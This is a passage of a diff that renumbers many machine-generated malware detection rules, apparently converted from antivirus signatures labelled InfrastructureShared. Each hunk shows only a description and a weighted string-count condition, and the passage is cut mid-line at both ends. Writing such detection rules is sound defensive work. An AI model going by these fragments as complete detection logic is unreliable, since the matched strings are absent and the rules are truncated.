1)*29285+(#a_61_5 & 1)*25701+(#a_00_6 & 1)*1+(#a_41_7 & 1)*8448+(#a_08_8 & 1)*-28623+(#a_54_9 & 1)*27756+(#a_6c_11 & 1)*28500) >=12 } -rule _InfrastructureShared_19445{ +rule _InfrastructureShared_20650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -240599,7 +255553,7 @@ rule _InfrastructureShared_19445{ ((#a_46_0 & 1)*16675+(#a_6c_2 & 1)*28500+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1) >=1 } -rule _InfrastructureShared_19446{ +rule _InfrastructureShared_20651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -240615,7 +255569,7 @@ rule _InfrastructureShared_19446{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*48+(#a_00_3 & 1)*48+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=2 } -rule _InfrastructureShared_19447{ +rule _InfrastructureShared_20652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -240627,7 +255581,7 @@ rule _InfrastructureShared_19447{ ((#a_54_0 & 1)*18467+(#a_12_2 & 1)*22551+(#a_16_3 & 1)*4957) >=4 } -rule _InfrastructureShared_19448{ +rule _InfrastructureShared_20653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -240641,7 +255595,7 @@ rule _InfrastructureShared_19448{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*121+(#a_00_2 & 1)*92+(#a_5c_3 & 1)*15872+(#a_00_5 & 1)*99) >=4 } -rule _InfrastructureShared_19449{ +rule _InfrastructureShared_20654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 10 00 21 " @@ -240665,7 +255619,7 @@ rule _InfrastructureShared_19449{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29791+(#a_53_2 & 1)*17503+(#a_65_3 & 1)*272+(#a_65_4 & 1)*25961+(#a_00_5 & 1)*4+(#a_32_6 & 1)*28265+(#a_01_7 & 1)*-28571+(#a_00_8 & 1)*25964+(#a_54_9 & 1)*21834+(#a_00_10 & 1)*144+(#a_41_11 & 1)*25924+(#a_4e_13 & 1)*385+(#a_44_14 & 1)*16952+(#a_5f_15 & 1)*25971) >=4 } -rule _InfrastructureShared_19450{ +rule _InfrastructureShared_20655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 10 00 21 " @@ -240690,7 +255644,7 @@ rule _InfrastructureShared_19450{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_02_5 & 1)*2+(#a_02_6 & 1)*2+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_81_9 & 1)*2+(#a_80_10 & 1)*2+(#a_81_11 & 1)*1+(#a_80_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_d3_15 & 1)*0) >=4 } -rule _InfrastructureShared_19451{ +rule _InfrastructureShared_20656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -240708,7 +255662,7 @@ rule _InfrastructureShared_19451{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*12358+(#a_5f_2 & 1)*24948+(#a_2e_3 & 1)*25961+(#a_00_5 & 1)*110+(#a_61_6 & 1)*28530+(#a_65_7 & 1)*29301+(#a_65_8 & 1)*29301+(#a_64_9 & 1)*27252) >=10 } -rule _InfrastructureShared_19452{ +rule _InfrastructureShared_20657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -240728,7 +255682,7 @@ rule _InfrastructureShared_19452{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29003+(#a_70_2 & 1)*29264+(#a_6f_3 & 1)*27760+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_d3_6 & 1)*0+(#a_61_7 & 1)*11877+(#a_6d_8 & 1)*30035+(#a_73_9 & 1)*21101+(#a_2e_10 & 1)*24948) >=12 } -rule _InfrastructureShared_19453{ +rule _InfrastructureShared_20658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 13 00 21 " @@ -240754,7 +255708,7 @@ rule _InfrastructureShared_19453{ ((#a_46_0 & 1)*21283+(#a_4d_1 & 1)*25921+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*-20+(#a_01_11 & 1)*-20+(#a_01_12 & 1)*-20+(#a_d4_13 & 1)*0+(#a_00_15 & 1)*52+(#a_00_17 & 1)*50+(#a_00_18 & 1)*54) >=23 } -rule _InfrastructureShared_19454{ +rule _InfrastructureShared_20659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -240767,7 +255721,7 @@ rule _InfrastructureShared_19454{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*55+(#a_00_3 & 1)*50+(#a_00_4 & 1)*48) >=1 } -rule _InfrastructureShared_19455{ +rule _InfrastructureShared_20660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -240783,7 +255737,7 @@ rule _InfrastructureShared_19455{ ((#a_5f_0 & 1)*25635+(#a_30_1 & 1)*17712+(#a_00_2 & 1)*106+(#a_d4_3 & 1)*0+(#a_03_4 & 1)*-28570+(#a_03_6 & 1)*-28570+(#a_03_8 & 1)*-28570) >=1 } -rule _InfrastructureShared_19456{ +rule _InfrastructureShared_20661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -240795,7 +255749,7 @@ rule _InfrastructureShared_19456{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-30616+(#a_b8_2 & 1)*-1024) >=2 } -rule _InfrastructureShared_19457{ +rule _InfrastructureShared_20662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -240810,7 +255764,7 @@ rule _InfrastructureShared_19457{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_7a_2 & 1)*24922+(#a_09_4 & 1)*11408+(#a_2d_5 & 1)*14637+(#a_90_6 & 1)*11617) >=2 } -rule _InfrastructureShared_19458{ +rule _InfrastructureShared_20663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -240826,7 +255780,7 @@ rule _InfrastructureShared_19458{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3373+(#a_2d_2 & 1)*2573+(#a_0a_3 & 1)*816+(#a_75_4 & 1)*400+(#a_64_5 & 1)*29541+(#a_2d_6 & 1)*11565) >=2 } -rule _InfrastructureShared_19459{ +rule _InfrastructureShared_20664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -240843,7 +255797,7 @@ rule _InfrastructureShared_19459{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_00_3 & 1)*4+(#a_00_4 & 1)*4+(#a_00_5 & 1)*4+(#a_00_6 & 1)*2+(#a_00_7 & 1)*2+(#a_d5_8 & 1)*0) >=8 } -rule _InfrastructureShared_19460{ +rule _InfrastructureShared_20665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -240864,7 +255818,7 @@ rule _InfrastructureShared_19460{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*257+(#a_09_2 & 1)*8+(#a_01_3 & 1)*-28603+(#a_00_4 & 1)*2113+(#a_6e_5 & 1)*11894+(#a_73_7 & 1)*26113+(#a_77_8 & 1)*11876+(#a_00_9 & 1)*26482+(#a_65_10 & 1)*384+(#a_63_11 & 1)*27246+(#a_01_12 & 1)*29957) >=1 } -rule _InfrastructureShared_19461{ +rule _InfrastructureShared_20666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 16 00 21 " @@ -240891,7 +255845,7 @@ rule _InfrastructureShared_19461{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25954+(#a_00_2 & 1)*31353+(#a_6c_3 & 1)*384+(#a_6f_4 & 1)*29285+(#a_65_5 & 1)*384+(#a_52_6 & 1)*21320+(#a_01_7 & 1)*17802+(#a_8b_8 & 1)*6656+(#a_c4_9 & 1)*-4981+(#a_45_10 & 1)*283+(#a_52_12 & 1)*21320+(#a_00_14 & 1)*116+(#a_00_16 & 1)*92+(#a_64_17 & 1)*25133+(#a_42_18 & 1)*17988+(#a_42_19 & 1)*13364+(#a_3a_21 & 1)*19521) >=1 } -rule _InfrastructureShared_19462{ +rule _InfrastructureShared_20667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -240910,7 +255864,7 @@ rule _InfrastructureShared_19462{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*257+(#a_e8_2 & 1)*656+(#a_55_3 & 1)*-29951+(#a_02_4 & 1)*-28528+(#a_00_6 & 1)*99+(#a_00_8 & 1)*92+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=2 } -rule _InfrastructureShared_19463{ +rule _InfrastructureShared_20668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -240927,7 +255881,7 @@ rule _InfrastructureShared_19463{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_00_3 & 1)*111+(#a_31_4 & 1)*14386+(#a_30_5 & 1)*14405+(#a_33_6 & 1)*17208+(#a_64_7 & 1)*18735+(#a_69_8 & 1)*8300) >=9 } -rule _InfrastructureShared_19464{ +rule _InfrastructureShared_20669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -240945,7 +255899,7 @@ rule _InfrastructureShared_19464{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28783+(#a_6f_2 & 1)*28704+(#a_63_3 & 1)*23667+(#a_72_4 & 1)*29557+(#a_61_5 & 1)*29799+(#a_62_6 & 1)*385+(#a_61_8 & 1)*23553+(#a_74_9 & 1)*25963) >=10 } -rule _InfrastructureShared_19465{ +rule _InfrastructureShared_20670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -240964,7 +255918,7 @@ rule _InfrastructureShared_19465{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*26478+(#a_5c_2 & 1)*25974+(#a_6e_3 & 1)*26996+(#a_72_4 & 1)*19292+(#a_30_5 & 1)*26912+(#a_43_6 & 1)*25927+(#a_20_7 & 1)*385+(#a_28_8 & 1)*26740+(#a_2c_9 & 1)*21024) >=10 } -rule _InfrastructureShared_19466{ +rule _InfrastructureShared_20671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -240985,7 +255939,7 @@ rule _InfrastructureShared_19466{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*8297+(#a_63_2 & 1)*27234+(#a_01_3 & 1)*31792+(#a_6f_4 & 1)*16698+(#a_64_5 & 1)*24904+(#a_74_6 & 1)*25970+(#a_4f_7 & 1)*21061+(#a_78_8 & 1)*11890+(#a_6c_9 & 1)*25199+(#a_63_10 & 1)*24864+(#a_00_11 & 1)*92) >=10 } -rule _InfrastructureShared_19467{ +rule _InfrastructureShared_20672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2a 00 2a 00 09 00 21 " @@ -241003,7 +255957,7 @@ rule _InfrastructureShared_19467{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*14964+(#a_72_2 & 1)*8250+(#a_65_3 & 1)*10341+(#a_72_4 & 1)*23668+(#a_63_5 & 1)*18734+(#a_00_6 & 1)*1+(#a_54_7 & 1)*8448+(#a_69_8 & 1)*28261) >=42 } -rule _InfrastructureShared_19468{ +rule _InfrastructureShared_20673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -241015,7 +255969,7 @@ rule _InfrastructureShared_19468{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*68+(#a_00_4 & 1)*100) >=3 } -rule _InfrastructureShared_19469{ +rule _InfrastructureShared_20674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -241029,7 +255983,7 @@ rule _InfrastructureShared_19469{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*66+(#a_00_4 & 1)*70+(#a_00_5 & 1)*70+(#a_00_6 & 1)*65) >=5 } -rule _InfrastructureShared_19470{ +rule _InfrastructureShared_20675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 12 00 21 " @@ -241055,7 +256009,7 @@ rule _InfrastructureShared_19470{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*12849+(#a_67_2 & 1)*25134+(#a_64_3 & 1)*26987+(#a_6d_4 & 1)*274+(#a_46_5 & 1)*16675+(#a_00_7 & 1)*97+(#a_00_8 & 1)*101+(#a_00_9 & 1)*105+(#a_00_10 & 1)*4096+(#a_69_11 & 1)*29797+(#a_46_12 & 1)*11873+(#a_72_13 & 1)*28531+(#a_47_14 & 1)*-32733+(#a_73_15 & 1)*16942+(#a_6e_16 & 1)*28001+(#a_52_17 & 1)*21320) >=5 } -rule _InfrastructureShared_19471{ +rule _InfrastructureShared_20676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -241071,7 +256025,7 @@ rule _InfrastructureShared_19471{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*101+(#a_00_4 & 1)*105+(#a_00_5 & 1)*4096+(#a_69_6 & 1)*29797+(#a_46_7 & 1)*11873) >=8 } -rule _InfrastructureShared_19472{ +rule _InfrastructureShared_20677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -241094,7 +256048,7 @@ rule _InfrastructureShared_19472{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28257+(#a_72_2 & 1)*21359+(#a_75_3 & 1)*11841+(#a_75_4 & 1)*29541+(#a_50_5 & 1)*24940+(#a_65_6 & 1)*29797+(#a_6d_8 & 1)*9217+(#a_01_9 & 1)*11570+(#a_24_10 & 1)*385+(#a_31_11 & 1)*13625+(#a_2e_12 & 1)*25955+(#a_52_14 & 1)*21320+(#a_00_15 & 1)*144) >=16 } -rule _InfrastructureShared_19473{ +rule _InfrastructureShared_20678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -241118,7 +256072,7 @@ rule _InfrastructureShared_19473{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_30_2 & 1)*12342+(#a_31_3 & 1)*12340+(#a_00_4 & 1)*12589+(#a_24_5 & 1)*385+(#a_31_6 & 1)*13154+(#a_70_7 & 1)*25656+(#a_00_9 & 1)*1+(#a_52_11 & 1)*21320+(#a_00_12 & 1)*144+(#a_75_13 & 1)*13571+(#a_01_14 & 1)*-28595+(#a_0b_15 & 1)*-28603+(#a_03_16 & 1)*1) >=17 } -rule _InfrastructureShared_19474{ +rule _InfrastructureShared_20679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " @@ -241146,7 +256100,7 @@ rule _InfrastructureShared_19474{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*4+(#a_0b_2 & 1)*-28636+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_01_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_d7_13 & 1)*0+(#a_54_14 & 1)*20315+(#a_67_15 & 1)*21092+(#a_5c_16 & 1)*17408+(#a_6c_17 & 1)*29477+(#a_72_18 & 1)*24864) >=1 } -rule _InfrastructureShared_19475{ +rule _InfrastructureShared_20680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0a 00 21 " @@ -241163,7 +256117,7 @@ rule _InfrastructureShared_19475{ ((#a_70_0 & 1)*16675+(#a_5d_1 & 1)*20047+(#a_04_2 & 1)*912+(#a_61_3 & 1)*25954+(#a_64_4 & 1)*26999+(#a_70_5 & 1)*8805+(#a_33_6 & 1)*26967+(#a_00_8 & 1)*32) >=2 } -rule _InfrastructureShared_19476{ +rule _InfrastructureShared_20681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -241176,7 +256130,7 @@ rule _InfrastructureShared_19476{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*47+(#a_00_4 & 1)*73) >=3 } -rule _InfrastructureShared_19477{ +rule _InfrastructureShared_20682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -241189,7 +256143,7 @@ rule _InfrastructureShared_19477{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*37+(#a_00_3 & 1)*33+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_19478{ +rule _InfrastructureShared_20683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -241204,7 +256158,7 @@ rule _InfrastructureShared_19478{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_00_2 & 1)*39+(#a_00_3 & 1)*97+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=4 } -rule _InfrastructureShared_19479{ +rule _InfrastructureShared_20684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0b 00 21 " @@ -241221,7 +256175,7 @@ rule _InfrastructureShared_19479{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29797+(#a_00_3 & 1)*32+(#a_25_4 & 1)*6912+(#a_64_5 & 1)*12325+(#a_90_6 & 1)*21331+(#a_3a_9 & 1)*19521+(#a_54_10 & 1)*27749) >=9 } -rule _InfrastructureShared_19480{ +rule _InfrastructureShared_20685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0e 00 21 " @@ -241242,7 +256196,7 @@ rule _InfrastructureShared_19480{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28018+(#a_6f_2 & 1)*25970+(#a_74_3 & 1)*16672+(#a_2c_4 & 1)*24946+(#a_00_5 & 1)*22623+(#a_74_6 & 1)*26369+(#a_6d_7 & 1)*29811+(#a_65_8 & 1)*26960+(#a_72_9 & 1)*26691+(#a_00_11 & 1)*67+(#a_00_13 & 1)*95) >=10 } -rule _InfrastructureShared_19481{ +rule _InfrastructureShared_20686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 1f 00 21 " @@ -241275,7 +256229,7 @@ rule _InfrastructureShared_19481{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25964+(#a_6f_2 & 1)*26723+(#a_68_3 & 1)*26981+(#a_6b_4 & 1)*24930+(#a_72_5 & 1)*14924+(#a_00_7 & 1)*97+(#a_00_8 & 1)*95+(#a_00_10 & 1)*108+(#a_00_12 & 1)*72+(#a_00_14 & 1)*105+(#a_00_16 & 1)*52+(#a_00_18 & 1)*105+(#a_00_20 & 1)*54+(#a_72_21 & 1)*28783+(#a_61_22 & 1)*18222+(#a_31_23 & 1)*28532+(#a_6a_24 & 1)*29049+(#a_65_25 & 1)*28781+(#a_54_26 & 1)*8500+(#a_81_27 & 1)*1+(#a_81_28 & 1)*1+(#a_81_29 & 1)*1+(#a_81_30 & 1)*1) >=31 } -rule _InfrastructureShared_19482{ +rule _InfrastructureShared_20687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0e 00 21 " @@ -241292,7 +256246,7 @@ rule _InfrastructureShared_19482{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*95+(#a_43_4 & 1)*7168+(#a_00_6 & 1)*82+(#a_00_8 & 1)*73+(#a_00_9 & 1)*284+(#a_00_11 & 1)*73+(#a_53_12 & 1)*24940) >=8 } -rule _InfrastructureShared_19483{ +rule _InfrastructureShared_20688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " @@ -241305,7 +256259,7 @@ rule _InfrastructureShared_19483{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_3 & 1)*46+(#a_00_4 & 1)*49) >=9 } -rule _InfrastructureShared_19484{ +rule _InfrastructureShared_20689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -241330,7 +256284,7 @@ rule _InfrastructureShared_19484{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17966+(#a_62_2 & 1)*26436+(#a_69_3 & 1)*29555+(#a_69_4 & 1)*29541+(#a_00_5 & 1)*66+(#a_65_6 & 1)*385+(#a_6f_7 & 1)*385+(#a_2e_8 & 1)*25955+(#a_65_9 & 1)*29550+(#a_64_10 & 1)*29284+(#a_25_11 & 1)*791+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1) >=16 } -rule _InfrastructureShared_19485{ +rule _InfrastructureShared_20690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -241356,7 +256310,7 @@ rule _InfrastructureShared_19485{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*385+(#a_61_2 & 1)*26982+(#a_00_3 & 1)*29806+(#a_6f_4 & 1)*385+(#a_6c_5 & 1)*24909+(#a_01_6 & 1)*-28614+(#a_74_7 & 1)*400+(#a_01_8 & 1)*29697+(#a_3a_9 & 1)*12067+(#a_00_10 & 1)*144+(#a_2f_11 & 1)*12035+(#a_90_12 & 1)*257+(#a_25_13 & 1)*10799+(#a_67_14 & 1)*17711+(#a_00_16 & 1)*97+(#a_00_18 & 1)*99) >=20 } -rule _InfrastructureShared_19486{ +rule _InfrastructureShared_20691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -241378,7 +256332,7 @@ rule _InfrastructureShared_19486{ ((#a_6f_0 & 1)*21539+(#a_90_1 & 1)*9519+(#a_01_2 & 1)*29697+(#a_2f_3 & 1)*5888+(#a_70_4 & 1)*400+(#a_01_5 & 1)*29697+(#a_64_6 & 1)*12108+(#a_00_8 & 1)*37+(#a_00_10 & 1)*61+(#a_00_12 & 1)*101+(#a_00_13 & 1)*103+(#a_e9_14 & 1)*18435+(#a_68_15 & 1)*25710) >=1 } -rule _InfrastructureShared_19487{ +rule _InfrastructureShared_20692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -241388,7 +256342,7 @@ rule _InfrastructureShared_19487{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_19488{ +rule _InfrastructureShared_20693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 10 00 21 " @@ -241410,7 +256364,7 @@ rule _InfrastructureShared_19488{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28555+(#a_03_3 & 1)*0+(#a_00_5 & 1)*118+(#a_5d_6 & 1)*28515+(#a_4c_7 & 1)*21325+(#a_65_8 & 1)*29545+(#a_47_9 & 1)*29793+(#a_75_10 & 1)*29541+(#a_6f_11 & 1)*25938+(#a_00_12 & 1)*68+(#a_00_13 & 1)*110+(#a_00_15 & 1)*67) >=7 } -rule _InfrastructureShared_19489{ +rule _InfrastructureShared_20694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -241430,7 +256384,7 @@ rule _InfrastructureShared_19489{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*16735+(#a_4c_2 & 1)*-32761+(#a_74_3 & 1)*18277+(#a_63_4 & 1)*30063+(#a_73_5 & 1)*25458+(#a_00_7 & 1)*85+(#a_00_9 & 1)*100+(#a_00_11 & 1)*105+(#a_00_13 & 1)*32+(#a_50_14 & 1)*12851) >=15 } -rule _InfrastructureShared_19490{ +rule _InfrastructureShared_20695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -241443,7 +256397,7 @@ rule _InfrastructureShared_19490{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*83+(#a_00_2 & 1)*101+(#a_00_3 & 1)*33) >=2 } -rule _InfrastructureShared_19491{ +rule _InfrastructureShared_20696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -241456,7 +256410,7 @@ rule _InfrastructureShared_19491{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*104+(#a_00_2 & 1)*99+(#a_00_4 & 1)*108) >=3 } -rule _InfrastructureShared_19492{ +rule _InfrastructureShared_20697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -241481,7 +256435,7 @@ rule _InfrastructureShared_19492{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*385+(#a_41_2 & 1)*21061+(#a_65_3 & 1)*8233+(#a_49_4 & 1)*29813+(#a_74_5 & 1)*31077+(#a_01_6 & 1)*1501+(#a_04_7 & 1)*-28536+(#a_01_8 & 1)*-4027+(#a_04_9 & 1)*-28536+(#a_01_10 & 1)*-21435+(#a_c7_12 & 1)*13056+(#a_24_15 & 1)*-14592+(#a_03_16 & 1)*-28511+(#a_ec_17 & 1)*-12033+(#a_45_19 & 1)*-12033) >=20 } -rule _InfrastructureShared_19493{ +rule _InfrastructureShared_20698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -241495,7 +256449,7 @@ rule _InfrastructureShared_19493{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_05_2 & 1)*-17331+(#a_01_3 & 1)*-23165+(#a_01_4 & 1)*30720) >=1 } -rule _InfrastructureShared_19494{ +rule _InfrastructureShared_20699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -241512,7 +256466,7 @@ rule _InfrastructureShared_19494{ ((#a_54_0 & 1)*18467+(#a_40_1 & 1)*9284+(#a_01_2 & 1)*1060+(#a_04_3 & 1)*-28651+(#a_00_4 & 1)*3308+(#a_83_5 & 1)*-220+(#a_4d_6 & 1)*8960+(#a_76_7 & 1)*18755) >=3 } -rule _InfrastructureShared_19495{ +rule _InfrastructureShared_20700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -241531,7 +256485,7 @@ rule _InfrastructureShared_19495{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17005+(#a_65_2 & 1)*29540+(#a_7a_3 & 1)*26960+(#a_46_4 & 1)*12851+(#a_3a_5 & 1)*21587+(#a_2e_6 & 1)*30831+(#a_64_7 & 1)*24944+(#a_42_8 & 1)*-32503+(#a_6f_9 & 1)*27491) >=10 } -rule _InfrastructureShared_19496{ +rule _InfrastructureShared_20701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -241556,7 +256510,7 @@ rule _InfrastructureShared_19496{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*28482+(#a_01_2 & 1)*25955+(#a_78_3 & 1)*29797+(#a_6e_5 & 1)*385+(#a_57_6 & 1)*28257+(#a_65_7 & 1)*25972+(#a_73_8 & 1)*25955+(#a_5f_9 & 1)*-32491+(#a_65_10 & 1)*25697+(#a_44_11 & 1)*31042+(#a_7a_12 & 1)*21349+(#a_00_14 & 1)*53+(#a_00_16 & 1)*70+(#a_00_17 & 1)*55+(#a_00_18 & 1)*55) >=19 } -rule _InfrastructureShared_19497{ +rule _InfrastructureShared_20702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -241578,7 +256532,7 @@ rule _InfrastructureShared_19497{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 